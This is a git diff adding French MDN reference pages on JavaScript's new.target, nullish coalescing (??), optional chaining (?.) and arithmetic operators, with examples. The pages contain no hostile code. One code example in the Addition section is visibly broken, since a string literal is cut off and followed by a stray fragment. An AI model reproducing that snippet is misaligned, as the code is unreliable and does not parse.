+class B extends A { constructor() { super(); } }
+
+var a = new A(); // affiche "A"
+var b = new B(); // affiche "B"
+
+class C {
+  constructor() {
+    console.log(new.target);
+  }
+}
+
+class D extends C {
+  constructor() {
+    super();
+  }
+}
+
+var c = new C(); // function C()
+var d = new D(); // function D()
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-built-in-function-objects', 'Built-in Function Objects')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-built-in-function-objects', 'Built-in Function Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.new_target")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions">Les fonctions</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Classes">Les classes</a></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_new">new</a></code></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this">this</a></code></li>
+ <li><a href="https://tech.mozfr.org/post/2015/08/12/ES6-en-details-%3A-les-sous-classes-et-l-heritage">Cet article sur les classes traduit en français</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/nullish_coalescing_operator/index.html b/files/fr/web/javascript/reference/opérateurs/nullish_coalescing_operator/index.html
new file mode 100644
index 0000000000..06de88d2b1
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/nullish_coalescing_operator/index.html
@@ -0,0 +1,151 @@
+---
+title: Opérateur de coalescence des nuls (Nullish coalescing operator)
+slug: Web/JavaScript/Reference/Opérateurs/Nullish_coalescing_operator
+tags:
+  - Coalescence
+  - JavaScript
+  - Opérateur
+  - Reference
+  - falsy
+  - nullish
+translation_of: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator
+---
+<p>{{JSSidebar("Operators")}}</p>
+
+<p>L'<strong>opérateur de coalescence des nuls</strong> (<code>??</code>), est un opérateur logique qui renvoie son opérande de droite lorsque son opérande de gauche vaut <code>{{jsxref("null")}}</code> ou <code>{{jsxref("undefined")}}</code> et qui renvoie son opérande de gauche sinon.</p>
+
+<p>Contrairement à <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_logiques">l'opérateur logique OU (<code>||</code>)</a>, l'opérande de gauche sera renvoyé s'il s'agit d'une <a href="/fr/docs/Glossaire/Falsy">valeur équivalente à <code>false</code></a> <strong>qui n'est ni</strong> <code>null</code><strong>, ni</strong> <code>undefined</code>. En d'autres termes, si vous utilisez <code>||</code> pour fournir une valeur par défaut à une variable <code>foo</code>, vous pourriez rencontrer des comportements inattendus si vous considérez certaines valeurs <em>falsy</em> comme utilisables (par exemple une chaine vide <code>''</code> ou <code>0</code>). Voir ci-dessous pour plus d'exemples.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-nullishcoalescingoperator.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>leftExpr</var> ?? <var>rightExpr</var>
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_lopérateur_de_coalescence_des_nuls">Utilisation de l'opérateur de coalescence des nuls</h3>
+
+<p>Dans cet exemple, nous fournirons des valeurs par défaut mais conserverons des valeurs autres que <code>null</code> ou <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">const valeurNulle = null;
+const texteVide = ""; // falsy
+const unNombre = 42;
+
+const valA = valeurNulle ?? "valeur par défaut pour A";
+const valB = texteVide ?? "valeur par défaut pour B";
+const valC = unNombre ?? 0;
+
+console.log(valA); // "valeur par défaut pour A"
+console.log(valB); // "" (car la chaine vide n'est ni `<code>null`</code> ni `<code>undefined`</code>)
+console.log(valC); // 42</pre>
+
+<h3 id="Affectation_dune_valeur_par_défaut_à_une_variable">Affectation d'une valeur par défaut à une variable</h3>
+
+<p>Auparavant, lorsque l'on voulait attribuer une valeur par défaut à une variable, une solution fréquente consistait à utiliser l'opérateur logique OU (<code>||</code>) :</p>
+
+<pre class="brush: js notranslate">let toto;
+
+// toto ne se voit jamais attribuer de valeur, il vaut donc undefined
+let unTexteBateau = toto || 'Coucou !';</pre>
+
+<p>Cependant, parce que <code>||</code> est un opérateur logique booléen, l'opérande de gauche a été converti en un booléen pour l'évaluation et aucune valeur <em>falsy</em> (<code>0</code>, <code>''</code>, <code>NaN</code>, <code>null</code>, <code>undefined</code>) n'a été renvoyée. Ce comportement peut entraîner des conséquences inattendues si on souhaite considérer <code>0</code>, <code>''</code> ou <code>NaN</code> comme des valeurs valides.</p>
+
+<pre class="brush: js notranslate">let compteur = 0;
+let texte = "";
+
+let qté = compteur || 42;
+let message = texte || "Coucou !";
+console.log(qté);     // 42 et non 0
+console.log(message); // "Coucou !" et non ""
+</pre>
+
+<p>L'opérateur de coalescence des nuls évite ce risque en ne renvoyant le deuxième opérande que lorsque le premier vaut <code>null</code> ou <code>undefined</code> (mais pas d'autres valeurs <em>falsy</em>) :</p>
+
+<pre class="brush: js notranslate">let monTexte = ''; // Un chaine vide (qui est donc une valeur falsy)
+
+let notFalsyText = monTexte || 'Hello world';
+console.log(notFalsyText); // Hello world
+
+let preservingFalsy = monTexte ?? 'Salut le voisin';
+console.log(preservingFalsy); // '' (car monTexte n'est ni null ni undefined)
+</pre>
+
+<h3 id="Court-circuitage">Court-circuitage</h3>
+
+<p>À l'instar des opérateurs logiques OR (<code>||</code>) et AND (<code>&amp;&amp;</code>), l'expression de droite n'est pas évaluée si celle de gauche ne vaut ni <code>null</code> ni <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">function A() { console.log('A a été appelée'); return undefined; }
+function B() { console.log('B a été appelée'); return false; }
+function C() { console.log('C a été appelée'); return "toto"; }
+
+console.log( A() ?? C() );
+// Inscrit "A a été appelée" puis "C a été appelée" et enfin "toto"
+// puisque : A() retourne undefined, les deux expressions sont donc évaluées
+
+console.log( B() ?? C() );
+// Inscrit "B a été appelée" puis false
+// puisque : B() retourne false (et non null ou undefined) et
+// l'opérande de droite n'est pas évaluée
+</pre>
+
+<h3 id="Pas_de_chaînage_possible_avec_les_opérateurs_AND_ou_OR">Pas de chaînage possible avec les opérateurs AND ou OR</h3>
+
+<p>Il n'est pas possible de combiner les opérateurs AND (<code>&amp;&amp;</code>) ou OR (<code>||</code>) directement avec l'opérateur de coalescence des nuls (<code>??</code>). Un tel cas lèverait une exception <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/SyntaxError">SyntaxError</a></code>.</p>
+
+<pre class="brush: js example-bad notranslate">null || undefined ?? "toto"; // soulève une SyntaxError
+true || undefined ?? "toto"; // soulève une SyntaxError</pre>
+
+<p>Cependant, fournir des parenthèses pour indiquer explicitement la priorité est correct :</p>
+
+<pre class="brush: js example-good notranslate">(null || undefined) ?? "toto"; // Renvoie "toto"
+</pre>
+
+<h3 id="Relation_avec_lopérateur_de_chaînage_optionnel_.">Relation avec l'opérateur de chaînage optionnel (<code>?.</code>)</h3>
+
+<p>Tout comme l'opérateur de coalescence des nuls, l'<a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Optional_chaining">opérateur de chaînage optionnel (?.)</a> traite les valeurs <code>null</code> et <code>undefined</code> comme des valeurs spécifiques. Ce qui permet d'accéder à une propriété d'un objet qui peut être <code>null</code> ou <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">let toto = { uneProprieteToto: "coucou" };
+
+console.log(toto.uneProprieteToto?.toUpperCase());  // "COUCOU"
+console.log(toto.uneProprieteTiti?.toUpperCase()); // undefined
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#prod-Nulli', 'nullish coalescing expression')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.operators.nullish_coalescing")}}</p>
+
+<h3 id="Progression_de_limplantation">Progression de l'implantation</h3>
+
+<p>Le tableau suivant montre l'état quotidien de l'implantation de cette fonctionnalité car elle n'est pas encore stable entre les navigateurs. Les données sont générées en exécutant les contrôles de fonctionnalité appropriés décrits par <a class="external external-icon" href="https://github.com/tc39/test262" rel="noopener">Test262</a>, la suite de contrôle normée de JavaScript, dans la version nightly ou la dernière version officielle de chaque moteur d'exécution de JavaScript des navigateurs.</p>
+
+<p>{{EmbedTest262ReportResultsTable("coalesce-expression")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Glossaire/Falsy"><em>Falsy values</em> (Valeurs équivalentes à <code>false</code> dans un contexte booléen)</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Optional_chaining">Opérateur de chaînage optionnel (<em>optional chaining</em>)</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/Op%C3%A9rateurs_logiques#Logical_OR">Opérateur logique OU (<code>||</code>)</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/Valeurs_par_d%C3%A9faut_des_arguments">Valeurs par défaut des arguments</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/optional_chaining/index.html b/files/fr/web/javascript/reference/opérateurs/optional_chaining/index.html
new file mode 100644
index 0000000000..9885b6d8ca
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/optional_chaining/index.html
@@ -0,0 +1,196 @@
+---
+title: Chaînage optionnel (optional chaining)
+slug: Web/JavaScript/Reference/Opérateurs/Optional_chaining
+tags:
+  - Chaînage
+  - Chaînage optionnel
+  - Coalescence
+  - JavaScript
+  - Operator
+  - Opérateur
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/Optional_chaining
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L'opérateur de <strong>chaînage optionnel</strong> <strong><code>?.</code></strong> permet de lire la valeur d'une propriété située profondément dans une chaîne d'objets connectés sans avoir à valider expressément que chaque référence dans la chaîne est valide. <span class="seoSummary">L'opérateur <code>?.</code> fonctionne de manière similaire à l'opérateur de chaînage <code>.</code>, à ceci près qu'au lieu de causer une erreur si une référence est {{jsxref("null")}} ou {{jsxref("undefined")}}, l'expression se court-circuite avec <code>undefined</code> pour valeur de retour.</span> Quand il est utilisé avec des appels de fonctions, il retourne <code>undefined</code> si la fonction donnée n'existe pas.</p>
+
+<p>Ceci résulte en des expressions plus courtes et plus simples lors de l'accès à des propriétés chaînées quand il est possible qu'une référence soit manquante. Ceci peut aussi être utile lors de l'exploration du contenu d'un objet lorsqu'il n'y a aucune garantie concernant les propriétés qui sont requises.</p>
+
+<p>Le chainage optionnel ne peut pas être utilisé sur un objet initialement inexistant. Il ne remplace les vérifications du type <code>if (typeof a == "undefined")</code>.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/expressions-optionalchainingoperator.html")}}</p>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>obj</var>?.<var>prop</var>
+<var>obj</var>?.[<var>expr</var>]
+<em>arr?.[index]</em>
+<var>func</var>?.(<var>args</var>)
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>L'opérateur de chaînage optionnel fournit un moyen de simplifier l'accès aux valeurs au sein d'objets connectés quand il est possible qu'une référence ou une fonction soit <code>undefined</code> ou <code>null</code>.</p>
+
+<p>Par exemple, considérant un objet <code>obj</code> qui a une structure imbriquée. Sans chaînage optionnel, chercher une sous-propriété imbriquée en profondeur requiert de valider les références intermédiaires, tel que :</p>
+
+<pre class="brush: js notranslate">let nestedProp = obj.premier &amp;&amp; obj.premier.second;</pre>
+
+<p>La valeur de <code>obj.premier</code> est confirmée comme n'étant pas <code>null</code> (ni <code>undefined</code>) avant que d'accéder à la valeur de <code>obj.premier.second</code>. Ceci prévient l'erreur qui pourrait survenir si vous accédiez simplement <code>obj.premier.second</code> directement sans vérifier <code>obj.premier</code>.</p>
+
+<p>Avec l'opérateur de chaînage optionnel (<code>?.</code>), vous n'avez pas besoin de vérifier explicitement et de court-circuiter la vérification selon l'état de <code>obj.premier</code> avant que d'accéder à <code>obj.premier.second</code> :</p>
+
+<pre class="brush: js notranslate">let nestedProp = obj.<code>premier</code>?.second;</pre>
+
+<p>En utilisant l'opérateur <code>?.</code> au lieu de l'opérateur <code>.</code>, JavaScript sait implicitement qu'il doit vérifier <code>obj.premier</code> pour être certain qu'il ne soit <code>null</code> ou <code>undefined</code> avant que de tenter d'accéder à <code>obj.first.second</code>. Si <code>obj.premier</code> est <code>null</code> ou <code>undefined</code>, l'expression se court-circuite automatiquement et retourne <code>undefined</code>.</p>
+
+<p>C'est équivalent à : </p>
+
+<pre class="brush: js notranslate">let temp = obj.<code>premier</code>;
+let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.second);
+</pre>
+
+<h3 id="Chaînage_optionnel_avec_des_appels_de_fonctions">Chaînage optionnel avec des appels de fonctions</h3>
+
+<p>Vous pouvez utiliser le chaînage optionnel lorsque vous tentez d'appeler une méthode qui pourrait ne pas exister. Ceci peut être une aide précieuse, par exemple, lorsque vous utilisez une API dans laquelle une méthode pourrait être indisponible, à cause d'une implantation datée ou à cause d'une fonctionnalité qui n'est pas disponible sur l'appareil de l'utilisateur.</p>
+
+<p>Utiliser le chaînage optionnel avec les appels de fonction entraîne le retour automatique de la valeur <code>undefined</code> pour l'expression plutôt que de jeter une exception si la méthode n'est pas trouvée :</p>
+
+<pre class="brush: js notranslate">let result = uneInterface.uneMéthode?.();</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> S'il est une propriété qui porte ce nom et qui n'est pas une fonction, utiliser <code>?.</code> jètera aussi une exception {{jsxref("TypeError")}} (<code>x.y</code><code> is not a function</code>).</p>
+</div>
+
+<h4 id="Réaliser_des_fonctions_de_rappel_optionnelles_ou_des_écouteurs_dévènements">Réaliser des fonctions de rappel optionnelles ou des écouteurs d'évènements</h4>
+
+<p>Si vous utilisez des fonctions ou des méthodes de recherche depuis un objet avec <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Object_destructuring">une affectation par décomposition</a>, vous pourriez avoir des valeurs inexistantes que vous ne pouvez appeler comme fonction à moins que vous ayez vérifié leur existance. En utilisant <code>?.</code>, vous pourriez vous passer de cette vérification supplémentaire :</p>
+
+<pre class="brush: js notranslate">// ES2019
+function doSomething(onContent, onError) {
+  try {
+    // ... faire quelque chose avec les données
+  }
+  catch (err) {
+    if (onError) { // vérifier que onError existe réellement
+      onError(err.message);
+    }
+  }
+}
+</pre>
+
+<pre class="brush: js notranslate">// Utiliser le chaînage optionnel avec les appels de fonctions
+function doSomething(onContent, onError) {
+  try {
+   // ... faire quelque chose avec les données
+  }
+  catch (err) {
+    onError?.(err.message); // pas d'exception si onError n'est pas défini
+  }
+}
+</pre>
+
+<h3 id="Chaînage_optionnel_avec_les_expressions">Chaînage optionnel avec les expressions</h3>
+
+<p>Vous pouvez aussi utiliser l'opérateur de chaînage optionnel lorsque vous accédez aux propriétés avec une expression en utilisant <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors#Bracket_notation">la notation avec crochets des accesseurs de propriétés</a> :</p>
+
+<pre class="brush: js notranslate">let nestedProp = obj?.['propName'];
+</pre>
+
+<h3 id="Chaînage_optionnel_invalide_depuis_le_côté_gauche_dune_affectation">Chaînage optionnel invalide depuis le côté gauche d'une affectation</h3>
+
+<pre class="notranslate"><code>let objet = {};
+objet?.propriété = 1; // Uncaught SyntaxError: Invalid left-hand side in assignment</code></pre>
+
+<h3 id="Accès_aux_éléments_de_tableau_avec_le_chaînage_optionnel">Accès aux éléments de tableau avec le chaînage optionnel</h3>
+
+<pre class="notranslate">let élément = arr?.[42];</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_basique">Exemple basique</h3>
+
+<p>Cet exemple cherche la valeur de la propriété <code>name</code> dans un objet stocké comme propriété de nom <code>bar</code> d'un objet Map alors que cet objet <code>bar</code> n'existe pas. Le résultat est donc <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">let monMap = new Map();
+monMap.set("foo", {name: "baz", desc: "inga"});
+
+let nameBar = monMap.get("bar")?.name;</pre>
+
+<h3 id="Court-circuiter_une_évaluation">Court-circuiter une évaluation</h3>
+
+<p>Lorsque vous utilisez le chaînage optionnel avec une expression, si l'opérande gauche est <code>null</code> ou <code>undefined</code>, l'expression ne sera par évaluée. Par exemple :</p>
+
+<pre class="brush: js notranslate">let objetPotentiellementNul = null;
+let x = 0;
+let prop = objetPotentiellementNul?.[x++];
+
+console.log(x); // 0 car x n'a pas été incrémenté
+</pre>
+
+<h3 id="Empiler_les_opérateurs_de_chaînage_optionnel">Empiler les opérateurs de chaînage optionnel</h3>
+
+<p>Avec les structures imbriquées, il est possible d'utiliser le chaînage optionnel plusieurs fois :</p>
+
+<pre class="brush: js notranslate">let client = {
+  nom: "Carl",
+  details: {
+    age: 82,
+    localisation: "Paradise Falls"
+    // adresse détaillée inconnue
+  }
+};
+let villeDuClient = client.details?.adresse?.ville;
+
+// … cela fonctionne aussi avec le chaînage optionnel sur les appels de fonction
+let durée = vacations.trip?.getTime?.();
+</pre>
+
+<h3 id="Combinaison_avec_lopérateur_de_coalescence_des_nuls_Nullish_coalescing_operator">Combinaison avec l'opérateur de coalescence des nuls (Nullish coalescing operator)</h3>
+
+<p>L'{{JSxRef("Opérateurs/Nullish_coalescing_operator", "Opérateur de coalescence des nuls (Nullish coalescing operator)", '', 1)}} peut être utilisé après un chaînage optionnel afin de construire une valeur par défaut quand aucune n'a été trouvée :</p>
+
+<pre class="notranslate">let client = {
+  nom: "Carl",
+  details: { age: 82 }
+};
+const villeDuClient = client?.ville ?? "Ville Inconnue";
+console.log(villeDuClient); // Ville inconnue</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#prod-OptionalExpression', 'optional expression')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs"><span>Compatibilité des navigateurs</span></h2>
+
+<div>
+
+
+<p>{{Compat("javascript.operators.optional_chaining")}}</p>
+
+<h3 id="Progression_de_limplantation">Progression de l'implantation</h3>
+
+<p>Le tableau suivant montre l'état quotidien de l'implantation de cette fonctionnalité car elle n'est pas encore stable entre les navigateurs. Les données sont générées en exécutant les contrôles de fonctionnalité appropriés décrits par <a href="https://github.com/tc39/test262">Test262</a>, la suite de contrôle normée de JavaScript, dans la version nightly ou la dernière version officielle de chaque moteur d'exécution de JavaScript des navigateurs.</p>
+
+<p>{{EmbedTest262ReportResultsTable("optional-chaining")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{JSxRef("Operators/Nullish_Coalescing_Operator", "Opérateur de coalescence des nuls (Nullish coalescing operator)", '', 1)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/opérateurs_arithmétiques/index.html b/files/fr/web/javascript/reference/opérateurs/opérateurs_arithmétiques/index.html
new file mode 100644
index 0000000000..b0a4c14ba9
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/opérateurs_arithmétiques/index.html
@@ -0,0 +1,295 @@
+---
+title: Opérateurs arithmétiques
+slug: Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>Les opérateurs arithmétiques </strong>utilisent des valeurs numériques (variables ou littéraux) comme opérandes et renvoient une valeur numérique. Les opérateurs arithmétiques standard sont l'addition (+), la soustraction (-), la multiplication (*), et la division (/).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-arithmetic.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Addition_2"><a name="Addition">Addition (+)</a></h2>
+
+<p>L'opérateur d'addition permet d'obtenir la somme des opérandes numériques ou bien la concaténation de chaînes de caractères.</p>
+
+<h3 id="Syntaxe">Syntaxe</h3>
+
+<pre class="syntaxbox">Opérateur : x + y</pre>
+
+<h3 id="Exemples">Exemples</h3>
+
+<pre class="brush: js">// nombre + nombre -&gt; addition
+1 + 2 // 3
+
+// booléen + nombre -&gt; addition
+true + 1 // 2
+
+// booléen + booléen -&gt; addition
+false + false // 0
+
+// nombre + chaîne de caractères -&gt; concaténation
+5 + "
+
+ concaténation
+"toto" + false // "totofalse"
+
+// chaîne de caractères + chaîne de caractères -&gt; concaténation
+"toto" + "truc" // "tototruc"
+</pre>
+
+<h2 id="Soustraction_-"><a name="Subtraction">Soustraction (-)</a></h2>
+
+<p>L'opérateur de soustraction soustrait les deux opérandes pour obtenir leur différence.</p>
+
+<h3 id="Syntaxe_2">Syntaxe</h3>
+
+<pre class="syntaxbox">Opérateur : x - y</pre>
+
+<h3 id="Exemples_2">Exemples</h3>
+
+<pre class="brush:js">5 - 3 // 2
+3 - 5 // -2
+"toto" - 3 // NaN
+</pre>
+
+<h2 id="Division_2"><a name="Division">Division (/)</a></h2>
+
+<p>L'opérateur de division produit le quotient de ces opérandes avec l'opérande gauche comme numérateur et l'opérande droit comme dénominateur.</p>
+
+<h3 id="Syntaxe_3">Syntaxe</h3>
+
+<pre class="syntaxbox">Opérateur : x / y</pre>
+
+<h3 id="Exemples_3">Exemples</h3>
+
+<pre class="brush: js">1 / 2      // renvoie 0.5 en JavaScript
+1 / 2      // renvoie 0 en Java
+// (aucun des deux opérandes n'est un nombre flottant de façon explicite)
+
+1.0 / 2.0  // renvoie 0.5 en JavaScript et Java
+
+2.0 / 0    // renvoie Infinity (pour l'infini) en JavaScript
+2.0 / 0.0  // renvoie Infinity également
+2.0 / -0.0 // renvoie -Infinity en JavaScript</pre>
+
+<h2 id="Multiplication_*"><a name="Multiplication">Multiplication (*)</a></h2>
+
+<p>L'opérateur de multiplication permet d'obtenir le produit des opérandes.</p>
+
+<h3 id="Syntaxe_4">Syntaxe</h3>
+
+<pre class="syntaxbox">Opérateur : x * y</pre>
+
+<h3 id="Exemples_4">Exemples</h3>
+
+<pre class="brush: js">2 * 2 // 4
+-2 * 2 // -4
+Infinity * 0 // NaN
+Infinity * Infinity // Infinity
+"toto" * 2 // NaN
+</pre>
+
+<h2 id="Reste"><a name="Remainder">Reste (%)</a></h2>
+
+<p>L'opérateur « reste » renvoie le reste de la division du premier opérande par le second. Le résultat obtenu a toujours le signe du numérateur (la quantité divisée).</p>
+
+<h3 id="Syntaxe_5">Syntaxe</h3>
+
+<pre class="syntaxbox">Opérateur : var1 % var2</pre>
+
+<h3 id="Exemples_5">Exemples</h3>
+
+<pre class="brush: js">12 % 5  // 2
+-1 % 2  // -1
+1 % -2  // 1
+NaN % 2 // NaN
+1 % 2   // 1
+2 % 3   // 2
+-4 % 2  // -0
+5.5 % 2 // 1.5</pre>
+
+<h2 id="Exponentiation_**"><a id="Exponentiation" name="Exponentiation">Exponentiation (**)</a></h2>
+
+<p>L'opérateur d'exponentiation (aussi appelé opérateur de puissance) renvoie le résultat de l'élévation d'un nombre (premier opérande) à une puissance donnée (deuxième opérande). Par exemple : <code>var1 ** var2</code> sera équivalent à <code>var1<sup>var2</sup></code> en notation mathématique. Cet opérateur est associatif à droite, autrement dit <code>a ** b ** c</code> est égal à <code>a ** (b ** c)</code>.</p>
+
+<h3 id="Syntaxe_6">Syntaxe</h3>
+
+<pre class="syntaxbox">Opérateur : var1 ** var2</pre>
+
+<h3 id="Notes">Notes</h3>
+
+<p>Dans la plupart des langages (par exemple PHP, Python, etc.), l'opérateur d'exponentiation est défini avec une précédence supérieure à celle des opérateurs unaires tels que le plus unaire et le moins unaire. Des exceptions existent comme Bash où l'opérateur ** a une précédence inférieure à celle des opérateurs unaires. En JavaScript, il est impossible d'écrire une expression ambigüe avec l'exponentiation : il est impossible de placer un opérateur unaire juste avant le nombre.</p>
+
+<pre class="brush: js">-2 ** 2;
+// vaut 4 en Bash ou -4 avec d'autres langages
+// C'est invalide en JavaScript car il y
+// une ambiguïté liée à l'expression
+
+- (2 ** 2);
+// -4 en JavaScript car les parenthèses lèvent
+// l'ambiguïté
+</pre>
+
+<h3 id="Exemples_6">Exemples</h3>
+
+<pre class="brush: js">2 ** 3 // 8
+3 ** 2 // 9
+3 ** 2.5 // 15.588457268119896
+10 ** -1 // 0.1
+NaN ** 2 // NaN
+
+2 ** 3 ** 2 // 512
+2 ** (3 ** 2) // 512
+(2 ** 3) ** 2 // 64</pre>
+
+<div class="note">
+<p><strong>Note :</strong> JavaScript possède également <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#(XOR_binaire)">un opérateur binaire ^ (XOR logique)</a>. <code>**</code> et <code>^</code> sont deux opérateurs bien différents. Par exemple <code>2 ** 3 === 8</code> et <code>2 ^ 3 === 1</code>.</p>
+</div>
+
+<h2 id="Incrément"><a name="Increment">Incrément (++)</a></h2>
+
+<p>L'opérateur d'incrément ajoute une unité à son opérande et renvoie une valeur.</p>
+
+<ul>
+ <li>Si l'opérateur est utilisé en suffixe (par exemple : x++), il renvoie la valeur avant l'incrémentation.</li>
+ <li>Si l'opérateur est utilisé en préfixe (par exemple : ++x), il renvoie la valeur après l'incrémentation.</li>
+</ul>
+
+<h3 id="Syntaxe_7">Syntaxe</h3>
+
+<pre class="syntaxbox">Opérateur : x++ ou ++x</pre>
+
+<h3 id="Exemples_7">Exemples</h3>
+
+<pre class="brush: js">// Suffixe
+var x = 3;
+y = x++; // y = 3, x = 4
+
+// Préfixe
+var a = 2;
+b = ++a; // a = 3, b = 3
+</pre>
+
+<h2 id="Décrément_--"><a name="Decrement">Décrément (--)</a></h2>
+
+<p>L'opérateur de décrément soustrait une unité à son opérande et renvoie une valeur.</p>
+
+<ul>
+ <li>Si l'opérateur est utilisé en suffixe (par exemple : x--), il renvoie la valeur avant la décrémentation.</li>
+ <li>Si l'opérateur est utilisé en préfixe (par exemple : --x), il renvoie la valeur après la décrémentation.</li>
+</ul>
+
+<h3 id="Syntaxe_8">Syntaxe</h3>
+
+<pre class="syntaxbox">Opérateur : x-- ou --x</pre>
+
+<h3 id="Exemples_8">Exemples</h3>
+
+<pre class="brush: js">// Suffixe
+var x = 3;
+y = x--; // y = 3, x = 2
+
+// Préfixe
+var a = 2;
+b = --a; // a = 1, b = 1
+</pre>
+
+<h2 id="Négation_unaire_-"><a name="Unary_negation">Négation unaire (-)</a></h2>
+
+<p>L'opérateur de négation unaire précède son opérande et prend l'opposé de celui-ci (après l'avoir converti en nombre si besoin).</p>
+
+<h3 id="Syntaxe_9">Syntaxe</h3>
+
+<pre class="syntaxbox">Opérateur : -x</pre>
+
+<h3 id="Exemples_9">Exemples</h3>
+
+<pre class="brush: js">var x = 3;
+y = -x; // y = -3, x = 3
+
+// La négation unaire permet de convertir
+// un opérande en nombre
+var y = "4";
+var z = -y; // z = -4
+</pre>
+
+<h2 id="Plus_unaire"><a name="Unary_plus">Plus unaire</a> (+)</h2>
+
